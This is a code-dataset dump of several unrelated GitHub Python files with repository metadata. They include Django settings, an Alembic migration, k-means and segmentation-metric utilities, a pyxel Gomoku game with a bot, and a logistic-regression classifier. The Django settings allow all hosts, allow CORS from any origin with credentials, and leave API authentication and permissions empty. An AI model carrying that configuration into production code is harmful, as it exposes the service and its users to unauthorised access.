environs.DJANGO_SECRET\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = environs.DEBUG\n\nis_local = environs.ENV == constants.RunningEnv.Local\n\nALLOWED_HOSTS = [\"*\"]\n\n# Application definition\nINSTALLED_APPS = [\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"whitenoise.runserver_nostatic\",\n \"django.contrib.staticfiles\",\n \"rest_framework\",\n \"corsheaders\",\n \"deepdataspace.server\",\n]\n\nMIDDLEWARE = [\n \"corsheaders.middleware.CorsMiddleware\",\n \"whitenoise.middleware.WhiteNoiseMiddleware\",\n \"django.middleware.http.ConditionalGetMiddleware\",\n \"deepdataspace.server.middlewares.RequestPerfMiddleware\",\n]\n\nROOT_URLCONF = \"deepdataspace.server.urls\"\n\nTEMPLATES = [\n {\n \"BACKEND\" : \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\" : [],\n \"APP_DIRS\": True,\n \"OPTIONS\" : {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n ],\n },\n },\n]\n\n# Static files\nSTATIC_ROOT = f\"{BASE_DIR}/static\"\nSTATIC_URL = \"/static/\"\n\n# Database\nif environs.DB_ENGIN == \"sqlite3\":\n if is_local:\n default_db = {\n \"NAME\": os.path.join(DJANGO_DIR, f\"{environs.DB_NAME}.sqlite3\"),\n }\n else:\n default_db = {\n \"NAME\": os.path.join(BASE_DIR, f\"{environs.DB_NAME}.sqlite3\"),\n }\nelse:\n default_db = {\n \"NAME\" : environs.DB_NAME,\n \"USER\" : environs.DB_USER,\n \"PASSWORD\": environs.DB_PASS,\n \"HOST\" : environs.DB_HOST,\n \"PORT\" : environs.DB_PORT,\n }\ndefault_db[\"ENGINE\"] = f\"django.db.backends.{environs.DB_ENGIN}\"\nDATABASES = {\"default\": default_db}\n\n# Internationalization\nLANGUAGE_CODE = \"en-us\"\nTIME_ZONE = \"UTC\"\nUSE_I18N = True\nUSE_TZ = True\n\n# Default primary key field type\nDEFAULT_AUTO_FIELD = \"django.db.models.BigAutoField\"\n\n# For Logging\nLOGGING = {\n \"version\" : 1,\n \"disable_existing_loggers\": False,\n \"formatters\" : {\n \"simple\" : {\n \"format\": \"%(asctime)s %(levelname)s [%(name)s] %(message)s\"\n },\n \"verbose\": {\n \"format\": \"%(asctime)s %(levelname)s [%(filename)s:%(funcName)s:%(lineno)s] %(process)d %(thread)d %(message)s\"\n },\n },\n \"handlers\" : {\n \"console\": {\n \"class\" : \"logging.StreamHandler\",\n \"formatter\": \"simple\",\n }\n },\n \"root\" : {\n \"level\" : \"INFO\",\n \"handlers\" : [\"console\"] if environs.VERBOSE else [],\n \"propagate\": True,\n },\n \"loggers\" : {\n \"django\": {\n \"level\" : \"INFO\",\n \"handlers\" : [\"console\"],\n \"propagate\": True,\n },\n }\n}\n\nif is_local:\n LOGGING[\"handlers\"][\"django\"] = {\n \"level\" : \"INFO\",\n \"class\" : \"logging.handlers.RotatingFileHandler\",\n \"filename\" : environs.DJANGO_LOG_PATH,\n \"maxBytes\" : 1024 * 1024 * 100, # 100 mb\n \"formatter\": \"verbose\",\n }\n LOGGING[\"loggers\"][\"django\"][\"handlers\"].append(\"django\")\n\n# For DRF\nREST_FRAMEWORK = {\n \"DEFAULT_AUTHENTICATION_CLASSES\": [],\n \"DEFAULT_PERMISSION_CLASSES\" : [],\n \"EXCEPTION_HANDLER\" : \"deepdataspace.utils.http.handle_api_exception\",\n \"DEFAULT_RENDERER_CLASSES\" : [\"rest_framework.renderers.JSONRenderer\", ],\n \"DEFAULT_PARSER_CLASSES\" : [\"rest_framework.parsers.JSONParser\", ]\n}\n\n# For CORS\nCORS_ORIGIN_ALLOW_ALL = True\nCORS_ALLOW_CREDENTIALS = True\nCORS_ALLOW_METHODS = list(default_methods)\nCORS_ALLOW_HEADERS = list(default_headers) + [\n \"Token\",\n]\n\n# For django running behind a proxy\nSECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", \"https\")\n\n# For Login and Token\nTOKEN_AGE = 3600 * 24\n","repo_name":"IDEA-Research/deepdataspace","sub_path":"deepdataspace/server/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"82"} +{"seq_id":"5920501197","text":"\"\"\"add guild event column\n\nRevision ID: a4aab942bc52\nRevises: 71237a836be1\nCreate Date: 2022-09-25 21:12:07.350204\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a4aab942bc52'\ndown_revision = '71237a836be1'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('attendance', sa.Column('is_guild_event', sa.Boolean(), nullable=True))\n op.execute(\"UPDATE attendance SET is_guild_event = false\")\n op.alter_column('attendance', 'is_guild_event', nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('attendance', 'is_guild_event')\n # ### end Alembic commands ###\n","repo_name":"waliens/bloude-clockin","sub_path":"src/alembic/versions/a4aab942bc52_add_guild_event_column.py","file_name":"a4aab942bc52_add_guild_event_column.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20242392069","text":"import os\nimport sys\nimport json\n\nbasename = os.path.basename(sys.argv[1]).split('.')[0]\n\nwith open(sys.argv[1], 'rb') as f:\n o_data = f.read().split('\\n')[:-1]\n\n# dict_data = {}\nlist_data = []\nfor row in o_data:\n row = row.split(' :: ')\n found = row[2] == 'True'\n # if not found:\n # continue\n fixations = int(row[1])\n setsize = int(row[0].split('_')[0][7:])\n trialnum = int(row[0].split('_')[1][:-4])\n tup = (setsize, trialnum, fixations)\n list_data.append(tup)\n\nwith open('tuples/{}.json'.format(basename), 'wb') as f:\n json.dump(list_data, f, indent=4)","repo_name":"matthewr6/visual-search-model","sub_path":"gdrivesets/old/fixation_tuples.py","file_name":"fixation_tuples.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"46682523202","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\n\"\"\"\n@X: input data\n@k: number of clusters\n\"\"\"\ndef kmeans_wrapper(X, k, image_as_input = False):\n if not image_as_input:\n X = np.float32(X)\n else:\n orig_shape = X.shape\n # flatten the image into a vector of BGR entries\n # so an n x 3 -> this is why -1 as first argument\n X = X.reshape((-1, 3))\n # data must be float32\n X = np.float32(X)\n type_ = cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER\n max_iter = 10\n epsilon = 1.0\n criteria = (type_, max_iter, epsilon)\n # labels returns the index of the cluster they belong in\n compactness, labels, centers = cv2.kmeans(data = X,\n K = k,\n bestLabels = None,\n criteria = criteria,\n attempts = 10,\n flags = cv2.KMEANS_RANDOM_CENTERS)\n if not image_as_input:\n # the final clusters - Kmeans output\n S = []\n for l in labels:\n S.append(X[labels.ravel() == l])\n return S, centers\n else:\n # convert data back to image\n centers = np.uint8(centers)\n # same as for l in flat labels: res.append(center[l])\n res = centers[labels.flatten()]\n res2 = res.reshape((orig_shape))\n return res2, centers\n\n\ndef main():\n x1 = np.random.randint(25,54,(25,4))\n x2 = np.random.randint(45,75,(25,4))\n # concatenate them in one (50,4) array\n X = np.vstack((x1, x2))\n S, centers = kmeans_wrapper(X, 2)\n # with an image\n im = cv2.imread('../kmeans/santorini.jpg') \n cv2.imshow('input', im)\n cv2.waitKey()\n cv2.destroyAllWindows()\n assert im is not None, \"Invalid input image\"\n quant, centers = kmeans_wrapper(im, 8, True)\n cv2.imshow('output', quant)\n cv2.waitKey()\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main()\n","repo_name":"leonmavr/journal","sub_path":"computer-vision/segmentation/src/src/kmeans/k_means_cv.py","file_name":"k_means_cv.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"35702099226","text":"import numpy as np\nfrom scipy.linalg import inv, det\n\n\ndef glr(x, y, theta=1.82):\n xm = multivariate_normal.logpdf(\n x, np.mean(x, axis=0), np.cov(x, rowvar=False))\n ym = multivariate_normal.logpdf(\n y, np.mean(y, axis=0), np.cov(y, rowvar=False))\n z = np.vstack((x, y))\n zm = multivariate_normal.logpdf(\n z, np.mean(z, axis=0), np.cov(z, rowvar=False))\n return (np.sum(zm) - np.sum(np.hstack((xm, ym)))) / len(z)**theta\n\n\ndef glr2(x, y, theta=1.0):\n cx = np.cov(x, rowvar=0)\n cy = np.cov(y, rowvar=0)\n nx = x.shape[0]\n ny = y.shape[0]\n n = nx + ny\n d = -0.5 * (nx * np.log(det(cx)) + ny * np.log(det(cy)) -\n n * np.log(det((nx / n) * cx + (ny / n) * cy)))\n return d\n\n\ndef bic(x, y, theta=1.0, params={}):\n px = np.log(det(np.cov(x, rowvar=0)))\n py = np.log(det(np.cov(x, rowvar=0)))\n z = np.vstack((x, y))\n pz = np.log(det(np.cov(z, rowvar=0)))\n d = 0.5 * (z.shape[0] * pz - x.shape[0] * px - y.shape[0] * py)\n p = z.shape[1]\n corr = theta * 0.25 * p * (p + 3) * np.log(z.shape[0])\n return d - corr\n\n\ndef kl2(x, y):\n cx = np.cov(x, rowvar=0)\n cy = np.cov(y, rowvar=0)\n cix = inv(cx)\n ciy = inv(cy)\n dxy = np.mean(x, axis=0) - np.mean(y, axis=0)\n d = 0.5 * (np.trace((cx - cy) * (ciy - cix)) +\n np.trace((ciy + cix) * np.outer(dxy, dxy)))\n return d\n","repo_name":"cilsat/scribe","sub_path":"segment/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24616202950","text":"import pyxel\r\nimport time\r\nimport random\r\n\r\n# Define the Chessboard Status\r\nclass ChessboardStatus:\r\n EMPTY = 0 # The Chess Cell not Taken\r\n PLAYER1 = 1 # Taken by Player 1 (The Human)\r\n PLAYER2 = 2 # Taken by Player 2 (The Bot)\r\n\r\n# The Bot Player Functioningg Part\r\nclass DBot:\r\n # Initiate the Chessboard Status for the Bot\r\n def __init__(self, board_size):# Initiate the Chessboard Status for the Bot\r\n self.BOARD_SIZE = board_size\r\n\r\n # Check If There is a Winner\r\n def if_winner(self, board):\r\n # Horizontally Check if 5 Chess Pieces in a Row\r\n for row in board:\r\n for i in range(self.BOARD_SIZE - 4):\r\n if row[i] == row[i + 1] == row[i + 2] == row[i + 3] == row[i + 4] != 0:\r\n return row[i]\r\n\r\n # Vertically Check if 5 Chess Pieces in a Row\r\n for col in range(self.BOARD_SIZE):\r\n for i in range(self.BOARD_SIZE - 4):\r\n if board[i][col] == board[i + 1][col] == board[i + 2][col] == board[i + 3][col] == board[i + 4][col] != 0:\r\n return board[i][col]\r\n\r\n # Top-Left and Bottom-Right if 5 Chess Pieces in a Row\r\n for i in range(self.BOARD_SIZE - 4):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if board[i][j] == board[i + 1][j + 1] == board[i + 2][j + 2] == board[i + 3][j + 3] == board[i + 4][j + 4] != 0:\r\n return board[i][j]\r\n\r\n # Top-Right and Bottom-Left if 5 Chess Pieces in a Row\r\n for i in range(self.BOARD_SIZE - 1, 3, -1):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if board[i][j] == board[i - 1][j + 1] == board[i - 2][j + 2] == board[i - 3][j + 3] == board[i - 4][j + 4] != 0:\r\n return board[i][j]\r\n\r\n # No Winner, Place 1 Chess Piece on Chessboard\r\n return 0\r\n\r\n # Check Where to Put the Chess\r\n def near_complete(self, board, x, y):\r\n # Check a Cell and Surrounding 8 Cells for an Empty One\r\n for dx in [-1, 0, 1]:\r\n for dy in [-1, 0, 1]:\r\n if dx == 0 and dy == 0:\r\n continue\r\n # Pick up a Cell to Place the Chess Piece\r\n new_x = x + dx\r\n new_y = y + dy\r\n\r\n # Make Sure to Place Chess inside the Chessboard \r\n if (\r\n new_x >= 0\r\n and new_x < self.BOARD_SIZE\r\n and new_y >= 0\r\n and new_y < self.BOARD_SIZE\r\n and board[new_y][new_x] != 0\r\n ):\r\n return True\r\n return False\r\n\r\n # Check if a Move Would Win the Round\r\n def win_move(self, board, x, y, player):\r\n if x <= self.BOARD_SIZE - 5 and all(board[y][i] == player for i in range(x, x + 5)):\r\n return True\r\n\r\n if y <= self.BOARD_SIZE - 5 and all(board[i][x] == player for i in range(y, y + 5)):\r\n return True\r\n\r\n if x <= self.BOARD_SIZE - 5 and y <= self.BOARD_SIZE - 5 and all(\r\n board[y + i][x + i] == player for i in range(5)\r\n ):\r\n return True\r\n\r\n if x <= self.BOARD_SIZE - 5 and y >= 4 and all(\r\n board[y - i][x + i] == player for i in range(5)\r\n ):\r\n return True\r\n\r\n return False\r\n\r\n # Defines How Bot Makes a Move\r\n def bot_turn(self, board, current_player):\r\n # Empty Cell\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if board[y][x] == ChessboardStatus.EMPTY and self.win_move(board, x, y, current_player):\r\n return x, y\r\n\r\n # Cell Taken by Player 1's Chess Pieces\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if board[y][x] == 0 and self.win_move(board, x, y, ChessboardStatus.PLAYER1):\r\n return x, y\r\n\r\n # Intercept Player 1's Chess Pieces or Placing Its Own\r\n # Detect Horizontal Lines of 3 Chess Pieces Placed by Human Player\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y][x + 1] == ChessboardStatus.PLAYER1\r\n and board[y][x + 2] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y][x + 1] == ChessboardStatus.PLAYER2\r\n and board[y][x + 2] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if x > 0 and board[y][x - 1] == 0:\r\n return x - 1, y\r\n if x + 3 < self.BOARD_SIZE and board[y][x + 3] == 0:\r\n return x + 3, y\r\n\r\n # Detect Vertical Lines of 3 Chess Pieces Placed by Human Player\r\n for x in range(self.BOARD_SIZE):\r\n for y in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y + 1][x] == ChessboardStatus.PLAYER1\r\n and board[y + 2][x] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y + 1][x] == ChessboardStatus.PLAYER2\r\n and board[y + 2][x] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if y > 0 and board[y - 1][x] == 0:\r\n return x, y - 1\r\n if y + 3 < self.BOARD_SIZE and board[y + 3][x] == 0:\r\n return x, y + 3\r\n\r\n # Detect Top-Left to Botton-Right Lines of 3 Chess Pieces Placed by Human Player\r\n for x in range(self.BOARD_SIZE - 2):\r\n for y in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y + 1][x + 1] == ChessboardStatus.PLAYER1\r\n and board[y + 2][x + 2] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y + 1][x + 1] == ChessboardStatus.PLAYER2\r\n and board[y + 2][x + 2] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if (y > 0 and x > 0) and board[y - 1][x - 1] == 0:\r\n return x - 1, y -1\r\n if (y + 3 < self.BOARD_SIZE and x + 3 < self.BOARD_SIZE) and board[y + 3][x + 3] == 0:\r\n return x + 3, y + 3\r\n\r\n # Detect Top-Right to Botton-Left Lines of 3 Chess Pieces Placed by Human Player\r\n for x in range(self.BOARD_SIZE - 2):\r\n for y in range(self.BOARD_SIZE - 2):\r\n if (\r\n board[y][x] == ChessboardStatus.PLAYER1\r\n and board[y + 1][x - 1] == ChessboardStatus.PLAYER1\r\n and board[y + 2][x - 2] == ChessboardStatus.PLAYER1\r\n ) or (\r\n board[y][x] == ChessboardStatus.PLAYER2\r\n and board[y + 1][x - 1] == ChessboardStatus.PLAYER2\r\n and board[y + 2][x - 2] == ChessboardStatus.PLAYER2\r\n ):\r\n # Add Considered Places to Intercept or Add Own\r\n if (y > 0 and x < self.BOARD_SIZE) and board[y - 1][x + 1] == 0:\r\n return x + 1, y - 1\r\n if (y + 3 < self.BOARD_SIZE and x - 3 > 0) and board[y + 3][x - 3] == 0:\r\n return x - 3, y + 3\r\n\r\n # Valid Move to Place Bot's Chess Pieces in a Cell Next to Player 1's Chess Pieces or Connect Own Lines\r\n valid_moves = []\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n # Add a Choice to Consider\r\n if board[y][x] == 0 and self.near_complete(board, x, y):\r\n valid_moves.append((x, y))\r\n if valid_moves:\r\n return random.choice(valid_moves)\r\n\r\n # Valid Move to Place Bot's Chess Pieces in a Cell w/ No Player 1's Chess Pieces Around\r\n valid_moves = []\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if board[y][x] == 0:\r\n valid_moves.append((x, y))\r\n if valid_moves:\r\n return random.choice(valid_moves)\r\n\r\n return None\r\n\r\n# The Execution of the Chess Game\r\nclass App:\r\n # Initialize the Chessboard Status\r\n def __init__(self):\r\n # Key Details of the Solid Figures\r\n self.BOARD_SIZE = 15\r\n self.CELL_SIZE = 32\r\n self.SCREEN_WIDTH = self.BOARD_SIZE * self.CELL_SIZE\r\n self.SCREEN_HEIGHT = self.BOARD_SIZE * self.CELL_SIZE + 40\r\n\r\n self.board = [[ChessboardStatus.EMPTY] * self.BOARD_SIZE for _ in range(self.BOARD_SIZE)]\r\n self.current_player = ChessboardStatus.PLAYER1\r\n self.player1_score = 0\r\n self.player2_score = 0\r\n self.game_over = False\r\n\r\n self.countdown_time = 0\r\n self.countdown_duration = 5\r\n self.turn_time = 20\r\n self.turn_start_time = 0\r\n\r\n self.bot = DBot(self.BOARD_SIZE)\r\n\r\n # Show Instructions for Playing as Human for 5 Seconds\r\n self.show_instructions = True\r\n self.instructions_time = time.time()\r\n\r\n # Initlize the Entire Program\r\n pyxel.init(self.SCREEN_WIDTH, self.SCREEN_HEIGHT)\r\n pyxel.run(self.update, self.draw)\r\n\r\n # Check if there is a Winner Between Player 1 and 2 by Seeking 5 Chess Pieces Form a Horizontal, Vertical or Diagonal Line\r\n def if_winner(self):\r\n for row in self.board:\r\n for i in range(self.BOARD_SIZE - 4):\r\n if row[i] == row[i + 1] == row[i + 2] == row[i + 3] == row[i + 4] != 0:\r\n return row[i]\r\n\r\n for col in range(self.BOARD_SIZE):\r\n for i in range(self.BOARD_SIZE - 4):\r\n if self.board[i][col] == self.board[i + 1][col] == self.board[i + 2][col] == self.board[i + 3][col] == self.board[i + 4][col] != 0:\r\n return self.board[i][col]\r\n\r\n for i in range(self.BOARD_SIZE - 4):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if self.board[i][j] == self.board[i + 1][j + 1] == self.board[i + 2][j + 2] == self.board[i + 3][j + 3] == self.board[i + 4][j + 4] != 0:\r\n return self.board[i][j]\r\n\r\n for i in range(self.BOARD_SIZE - 1, 3, -1):\r\n for j in range(self.BOARD_SIZE - 4):\r\n if self.board[i][j] == self.board[i - 1][j + 1] == self.board[i - 2][j + 2] == self.board[i - 3][j + 3] == self.board[i - 4][j + 4] != 0:\r\n return self.board[i][j]\r\n\r\n return 0\r\n\r\n # After a Winner is Confirmed, Reset the Chessboard Status\r\n def reset_game(self):\r\n self.board = [[0] * self.BOARD_SIZE for _ in range(self.BOARD_SIZE)]\r\n self.current_player = ChessboardStatus.PLAYER1\r\n self.game_over = False\r\n self.countdown_time = 0\r\n\r\n # A 5-Second Countdown before Next Round Begins\r\n def start_countdown(self):\r\n self.countdown_time = time.time()\r\n\r\n # The Start of a New Round and Reset\r\n def new_round(self):\r\n self.reset_game()\r\n self.game_over = False\r\n\r\n # Display of Game's Instructions\r\n def instructions(self):\r\n pyxel.cls(7)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 60, self.SCREEN_HEIGHT // 2 - 20, \"Keyboard Instructions:\", 0)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 80, self.SCREEN_HEIGHT // 2, \"Space and Mouse Cursor: Place your chess\", 0)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 80, self.SCREEN_HEIGHT // 2 + 10, \"Q: Quit the game\", 0)\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 80, self.SCREEN_HEIGHT // 2 + 20, \"R: Skip the waiting time between rounds\", 0)\r\n\r\n # What to do After Each Prerequisite Met\r\n def update(self):\r\n # Un-Display the Instruction and Show the Chessboard\r\n if self.show_instructions:\r\n if time.time() - self.instructions_time > self.countdown_duration:\r\n self.show_instructions = False\r\n self.start_countdown()\r\n return\r\n\r\n # Press \"Q\" to Quit the Program\r\n if pyxel.btnp(pyxel.KEY_Q):\r\n pyxel.quit()\r\n\r\n # Press \"R\" to Skip the 5-Second Countdown and to the Next Round\r\n if self.game_over:\r\n if pyxel.btnp(pyxel.KEY_R):\r\n self.new_round()\r\n return\r\n\r\n # Bot Player Acts\r\n if self.current_player == ChessboardStatus.PLAYER2:\r\n if not self.game_over:\r\n # If Chess Piece not Placed by Bot Before Pesudo Countdown Ends, It Is Player 1's Turn\r\n if time.time() - self.turn_start_time > self.turn_time:\r\n self.current_player = ChessboardStatus.PLAYER1\r\n return\r\n\r\n # Time Needed for Bot to Place Chess, in This Case, It Is 1 Second. Also Can be Replaced by random.randint(1, 20), But Countdown Does Not Move\r\n time.sleep(1)\r\n\r\n # Bot Make the Move\r\n bot_move = self.bot.bot_turn(self.board, self.current_player)\r\n x, y = bot_move\r\n\r\n # Add 1 to the Score Count of Player Who Wins the Current Round\r\n self.board[y][x] = self.current_player\r\n winner = self.bot.if_winner(self.board)\r\n if winner != ChessboardStatus.EMPTY:\r\n self.game_over = True\r\n if winner == ChessboardStatus.PLAYER1:\r\n self.player1_score += 1\r\n else:\r\n self.player2_score += 1\r\n self.start_countdown()\r\n else:\r\n self.current_player = ChessboardStatus.PLAYER1\r\n\r\n # Human Player Acts\r\n if pyxel.btnp(pyxel.KEY_SPACE) and self.current_player == ChessboardStatus.PLAYER1:\r\n if self.board[pyxel.mouse_y // self.CELL_SIZE][pyxel.mouse_x // self.CELL_SIZE] == ChessboardStatus.EMPTY:\r\n x = pyxel.mouse_x // self.CELL_SIZE\r\n y = pyxel.mouse_y // self.CELL_SIZE\r\n\r\n # Player Which Placed Recent Chess Piece and Got 5-In-a-Row Is the Winner\r\n self.board[y][x] = self.current_player\r\n winner = self.bot.if_winner(self.board)\r\n # After Human Player Won the Round, Add 1 to Player's Score Count and Start the 5-Second Countdown to Next Round\r\n if winner != 0:\r\n self.game_over = True\r\n self.player1_score += 1\r\n self.start_countdown()\r\n # It Is Bot's Turn Now and Start the Pseudo Countdown \r\n else:\r\n self.current_player = ChessboardStatus.PLAYER2\r\n self.turn_start_time = time.time()\r\n\r\n # What to Show\r\n def draw(self):\r\n if self.show_instructions:\r\n self.instructions()\r\n return\r\n\r\n # A top Rectangle for Displaying the Messages\r\n pyxel.cls(9)\r\n pyxel.rect(0, 0, self.SCREEN_WIDTH, 40, 0)\r\n\r\n # Display the Current Turn is for Who's Move\r\n player_turn_text = f\"Player {self.current_player}'s turn\"\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 32, 10, player_turn_text, 7)\r\n\r\n # Add a Pseudo-Thinking Time of 20 Seconds for the Bot and Display it\r\n if self.current_player == ChessboardStatus.PLAYER2 and not self.game_over:\r\n remaining_time = self.turn_time - (time.time() - self.turn_start_time)\r\n countdown_text = f\"Time left: {int(remaining_time)} seconds\"\r\n pyxel.text(self.SCREEN_WIDTH - 284, 20, countdown_text, 7)\r\n\r\n # Draw Lines to Boarder the Cells on Chessboard\r\n for i in range(self.BOARD_SIZE):\r\n pyxel.line(0, i * self.CELL_SIZE + 40, self.SCREEN_WIDTH, i * self.CELL_SIZE + 40, 0)\r\n pyxel.line(i * self.CELL_SIZE, 40, i * self.CELL_SIZE, self.SCREEN_HEIGHT, 0)\r\n\r\n # Define the Color of Chess Pieces Placed by Each Player\r\n for y in range(self.BOARD_SIZE):\r\n for x in range(self.BOARD_SIZE):\r\n if self.board[y][x] == 1:\r\n pyxel.circ(x * self.CELL_SIZE + self.CELL_SIZE // 2, y * self.CELL_SIZE + self.CELL_SIZE // 2 + 40, 10, 1)\r\n elif self.board[y][x] == 2:\r\n pyxel.circ(x * self.CELL_SIZE + self.CELL_SIZE // 2, y * self.CELL_SIZE + self.CELL_SIZE // 2 + 40, 10, 7)\r\n\r\n # Display How Many Rounds by Player 1 and 2 in Top-Left and Top-Right Corner\r\n pyxel.text(10, 10, f\"Player 1: {self.player1_score}\", 7)\r\n pyxel.text(self.SCREEN_WIDTH - 90, 10, f\"Player 2: {self.player2_score}\", 7)\r\n\r\n # Make Sure the Displayed Cursor Exactly Fit inside the Cell and Draw the Cursor\r\n cursor_x = pyxel.mouse_x // self.CELL_SIZE\r\n cursor_y = pyxel.mouse_y // self.CELL_SIZE\r\n pyxel.line(cursor_x * self.CELL_SIZE, cursor_y * self.CELL_SIZE + 40, (cursor_x + 1) * self.CELL_SIZE, (cursor_y + 1) * self.CELL_SIZE + 40, 2)\r\n pyxel.line((cursor_x + 1) * self.CELL_SIZE, cursor_y * self.CELL_SIZE + 40, cursor_x * self.CELL_SIZE, (cursor_y + 1) * self.CELL_SIZE + 40, 2)\r\n\r\n # What to do after Someone Won the Round\r\n if self.game_over:\r\n winner = self.if_winner()\r\n # Display who is the Winner\r\n if winner != 0:\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 25, 30, f\"Player {winner} wins!\", 3)\r\n pyxel.play(0, 0)\r\n # This Part is Basically Useless Since there is not Going to be a Draw in Gomoku\r\n else:\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 20, self.SCREEN_HEIGHT // 7 - 4, \"It's a draw!\", 3)\r\n\r\n # The Execution of 5-Second Countdown\r\n if self.countdown_time > 0:\r\n # How Much Time Left\r\n remaining_time = self.countdown_duration - (time.time() - self.countdown_time)\r\n # Display How Much Time Left\r\n if remaining_time > 0:\r\n countdown_text = f\"{int(remaining_time)} seconds to next round\"\r\n pyxel.text(self.SCREEN_WIDTH // 2 - 45, 20, countdown_text, 7)\r\n # A New Round if the Countdown is Over\r\n else:\r\n self.new_round()\r\n\r\n# Sound for Mentioning if Someone Wins \r\ndef esound():\r\n pyxel.sound(0).set(\"c3e3g3c4c4\", \"s\", \"7\", (\"n\" * 4), 7)\r\n\r\napp = App()\r\n","repo_name":"RenElsa/FIT_2_Project_S23","sub_path":"Gomoku_Show.py","file_name":"Gomoku_Show.py","file_ext":"py","file_size_in_byte":18844,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"29759644347","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\r\n'''\r\n 使用逻辑回归算法，进行二分类\r\n'''\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score\r\nbreask_cancer = pd.read_csv(r'D:\\自己用\\项目\\R语言\\课程\\实验三\\breast_cancer.csv',header =None)\r\n#print(breask_cancer.head())\r\n\r\n#进行数据处理，删除’？’所在的行\r\nprint(breask_cancer.shape)\r\ndata = breask_cancer.replace(to_replace='?',value=np.nan)\r\n# data = breask_cancer.replace(to_replace='',value=np.nan)\r\ndata = data.dropna(how='any')\r\nprint(data.shape)\r\n\r\nx = data.iloc[:,1:10]\r\ntarget =data.loc[:,10]\r\n#将数据集拆分成训练集和测试集\r\nx_train,x_test,y_train,y_test = train_test_split(x,target,test_size=0.25,random_state=33)\r\n\r\n#创建线性回归模型\r\nfrom sklearn.linear_model import LogisticRegression\r\n#solver,选择更新参数使用何种方式，sag随机梯度下降，lbfas拟牛顿算法，newton-cg牛顿法\r\n#max_iter 更新多少次参数\r\n#tol误差小于tol时停止更新参数，默认值1e-4\r\nlr = LogisticRegression(solver='sag',max_iter=3000)\r\nlr.fit(x_train,y_train)\r\nlrpredict = lr.predict(x_test)\r\n# print(lrpredict)\r\n# print(y_test)\r\nprint(accuracy_score(y_test,lrpredict))\r\nfrom sklearn import metrics\r\nprint(metrics.confusion_matrix(y_test,lrpredict))\r\nprint(y_test.shape)\r\nprint((70+99)/(70+1+99+1))\r\n\r\nres = lr.predict([[2\t,1,\t1,\t1,\t2,\t1\t,2,\t1,\t1]])\r\nprint(res)\r\nres = lr.predict([[8\t,7,\t5\t,10\t,7,\t9\t,5\t,5\t,4]])\r\nprint(res)\r\n\r\n\r\n","repo_name":"fulequn/PythonLearning","sub_path":"机器学习/20200411-01.py","file_name":"20200411-01.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27782892463","text":"#!/usr/bin/env python\r\n# Author: Tyler Sanderson \r\n#\r\n# This file is part of PyBST.\r\n#\r\n# PyBST is free software: you can 